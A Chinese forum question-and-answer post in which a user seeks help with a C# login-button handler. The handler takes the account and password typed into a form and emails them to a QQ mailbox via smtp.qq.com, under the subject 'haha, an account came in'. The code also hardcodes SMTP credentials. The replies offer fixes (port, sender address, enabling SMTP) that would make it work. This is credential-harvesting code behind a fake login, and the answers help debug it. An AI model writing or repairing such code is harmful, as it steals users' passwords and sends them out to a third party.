问题描述
代码如下:::求解决privatevoidbtn_login_Click_1(objectsender,EventArgse){SmtpClientclient=newSystem.Net.Mail.SmtpClient("smtp.qq.com");Stringaddress="128332@qq.com";//设置发件人的地址,address,Encoding.UTF8MailAddressfrom=newMailAddress(address,"dsf",Encoding.UTF8);//设置收件人的地址MailAddressto=newMailAddress(address,"",Encoding.UTF8);//设置发送信息MailMessagesend=newMailMessage(from,to);//发送的标题//添加邮件主题和内容send.Subject="哈哈来了一个账号";send.SubjectEncoding=Encoding.UTF8;send.Body="账号为:"+tb_count.Text+"密码为:"+tb_pwd.Text;send.BodyEncoding=Encoding.UTF8;//设置邮件的信息client.DeliveryMethod=SmtpDeliveryMethod.Network;send.IsBodyHtml=true;stringuserState=send.Subject;client.UseDefaultCredentials=false;stringusername="1238332@qq.com";stringpasswd="12345";//用户登陆信息NetworkCredentialmyCredentials=newNetworkCredential(username,passwd);client.Credentials=myCredentials;//发送邮件try{client.Send(send);//提示发送成功MessageBox.Show("发送成功!");}catch(Exceptionex){MessageBox.Show(ex.Message+passwd+username);}}
解决方案
解决方案二:
1.端口号252.发件人要和你登录的帐号一样3.内容没被屏蔽。4.密码要正确。
解决方案三:
5.发件人的邮箱设置smtp要打开。